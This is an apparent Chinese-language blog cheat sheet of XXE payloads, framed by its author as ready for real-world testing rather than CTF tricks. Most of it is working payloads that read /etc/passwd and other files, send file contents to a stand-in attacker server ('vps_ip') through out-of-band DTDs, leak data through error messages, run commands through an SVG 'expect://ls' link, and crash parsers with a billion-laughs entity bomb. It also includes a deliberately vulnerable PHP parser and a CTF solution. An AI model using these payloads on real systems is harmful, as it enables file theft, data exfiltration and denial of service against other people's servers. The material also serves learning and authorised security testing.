前言
关于XXE相关的一些payload的总结记录,更侧重于实战直接拿来测试利用,而非CTF绕WAF。。。
Classic XXE
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
可读文件,探测内网。
有时可以采用php、data伪协议绕过。
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
UTF-7 XXE
UTF-7编码绕WAF
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
Blind XXE (※)
无回显的情况。这个值得好好记一下。
学习参考:
https://xz.aliyun.com/t/8041
大致思路:
服务器没有回显,只能通过一条外带信道带出数据。
利用参数实体可嵌套引用的特点。
Classic Blind XXE
xml.php
一个存在XXE漏洞的服务:
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
vps上放test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps_ip:2333?p=%file;'>">
vps开9999端口的http服务,开2333端口监听。
payload
攻击XXE漏洞服务的payload
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://vps_ip:9999/test.dtd">
%remote;%int;%send;
]>
<user><username>Admin</username></user>
调用过程
一个巧妙的嵌套调用链:
- %remote请求远程vps上的test.dtd
- %int调用test.dtd中的%file
- %file获取服务器上的敏感文件,并传入%send
- %send将数据发送到远程vps上
这样vps就会收到file:///etc/passwd
的执行结果,带出了执行回显。
Local DTD
以上都是引入外部服务器的OOB XXE,虽然好用,但是有一个软肋。当服务器配置好防火墙,禁止服务器请求外网dtd文件的话,就无法接受到数据了。
这时候就可以考虑利用本地dtd来进行XXE
也是一个技巧,积累一下。
本地DTD文件
Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
Windows
<!ENTITY % local_dtd SYSTEM "file:///C:Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass 'Your DTD code'>
%local_dtd;
利用示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % file SYSTEM "file:///flag"
<!ENTITY % eval "<!ENTITY &#x25; remote SYSTEM 'http://vps_ip:2333/%file'>">
%eval;
%remote;
'>
%local_dtd;
]>
<msg>Msg</msg>
Error-Based Blind XXE
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
这样在报错中就能看到命令回显。(服务端报错)
引入服务器文件
test.dtd
<!ENTITY % start "<!ENTITY % error SYSTEM 'file:///fakefile/%file;'>">
%start;
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://vps_ip/test.dtd">
<!ENTITY % file SYSTEM "file:///flag">
%remote;
%error;
]>
<message>Admin</message>
引入本地文件
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///fakefile/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<message>Admin</message>
(注意嵌套时要实体编码%
=> %
,'
=>'
,&
=>&
)
实例:GoogleCTF2019 Bnv
最终payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///fakefile/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<message>Admin</message>
有个很坑的点:"<!ENTITY &#x25; error SYSTEM
这里的%
要将实体编码后的&
再编码一次。
DoS XXE
Billion Laugh Attack
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<tag>&lol9;</tag>
SOAP XXE
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
SVG XXE
一种XML格式的图片。存在文件上传限制图片,如果有SVG格式可以考虑SVG-XXE。
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
MS XXE
微软三件套,解压后都有xml,某些版本可以构造XXE。